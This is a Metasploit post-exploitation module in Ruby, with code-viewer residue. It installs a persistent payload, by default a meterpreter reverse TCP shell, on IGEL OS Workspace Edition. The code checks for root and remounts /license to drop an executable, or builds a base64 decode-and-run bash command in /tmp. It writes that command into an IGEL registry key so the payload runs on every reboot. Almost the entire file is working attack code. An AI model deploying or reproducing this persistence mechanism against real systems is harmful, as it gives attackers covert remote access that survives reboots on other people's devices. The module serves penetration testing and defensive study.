133 lines
4.0 KiB
Ruby
133 lines
4.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
include Msf::Post::Linux
|
|
include Msf::Post::Linux::System
|
|
include Msf::Post::Unix
|
|
include Msf::Post::File
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::Local::Persistence
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'IGEL OS Persistent Payload',
|
|
'Description' => %q{
|
|
Gain persistence for specified payload on IGEL OS Workspace Edition, by writing
|
|
a payload to disk or base64-encoding and executing from registry.
|
|
},
|
|
'Author' => 'Zack Didcott',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['linux'],
|
|
'Targets' => [
|
|
[
|
|
'Linux Command', {
|
|
'Arch' => [ARCH_CMD],
|
|
'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/https/x64/meterpreter/reverse_tcp' },
|
|
'Type' => :nix_cmd
|
|
}
|
|
],
|
|
[
|
|
'Linux Dropper', {
|
|
'Arch' => [ARCH_X64],
|
|
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
|
|
'Type' => :linux_dropper
|
|
}
|
|
],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'SessionTypes' => ['shell', 'meterpreter'],
|
|
'DisclosureDate' => '2016-11-02', # IGEL OS 10 release date
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('REGISTRY_KEY', [
|
|
true,
|
|
'Registry key to use for automatically executing payload',
|
|
'userinterface.rccustom.custom_cmd_net_final'
|
|
]),
|
|
OptString.new('TARGET_DIR', [true, 'Directory to write payload (dropper only)', '/license']),
|
|
OptBool.new('REGISTRY_ONLY', [true, 'Set whether to store payload in registry (dropper only)', false])
|
|
])
|
|
end
|
|
|
|
def validate
|
|
unless is_root?
|
|
fail_with(Failure::NoAccess, 'Session does not have root access')
|
|
end
|
|
end
|
|
|
|
def install_persistence
|
|
validate
|
|
|
|
case target['Type']
|
|
when :nix_cmd
|
|
command = payload.encoded
|
|
when :linux_dropper
|
|
if datastore['REGISTRY_ONLY']
|
|
print_status('Base64-encoding payload')
|
|
encoded_payload = Rex::Text.encode_base64(generate_payload_exe)
|
|
command = base64_command(encoded_payload)
|
|
else
|
|
print_status("Uploading payload to #{datastore['TARGET_DIR']}")
|
|
payload_file = write_payload(generate_payload_exe, datastore['TARGET_DIR'], 0o700)
|
|
command = local_command(payload_file)
|
|
end
|
|
end
|
|
|
|
print_status('Writing persistence to registry')
|
|
write_registry(datastore['REGISTRY_KEY'], command)
|
|
if get_registry(datastore['REGISTRY_KEY']) != command
|
|
fail_with(Failure::Unknown, 'Failed to write to registry')
|
|
else
|
|
print_status('Registry written successfully')
|
|
print_status('The payload should be executed when the target reboots')
|
|
end
|
|
end
|
|
|
|
def remount_license(opt = 'rw')
|
|
create_process('/bin/mount', args: ['-o', "remount,#{opt}", '/license'])
|
|
end
|
|
|
|
def write_payload(contents, dir, perm)
|
|
remount_license('rw')
|
|
|
|
filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}"
|
|
write_file(filepath, contents)
|
|
chmod(filepath, perm)
|
|
|
|
remount_license('ro')
|
|
|
|
return filepath
|
|
end
|
|
|
|
def base64_command(encoded_payload)
|
|
payload_dest = "/tmp/#{Rex::Text.rand_text_alpha(8)}"
|
|
"/bin/bash -c '/bin/echo '#{encoded_payload}' | /usr/bin/base64 -d > '#{payload_dest}'; /bin/chmod +x '#{payload_dest}'; '#{payload_dest}' &'"
|
|
end
|
|
|
|
def local_command(payload_file)
|
|
command = "/bin/bash -c '/bin/mount -o remount,exec /license; '#{payload_file}' &'"
|
|
return command
|
|
end
|
|
|
|
def get_registry(key)
|
|
create_process('/bin/get', args: [key])
|
|
end
|
|
|
|
def write_registry(key, value)
|
|
create_process('/bin/setparam', args: [key, value])
|
|
end
|
|
end
|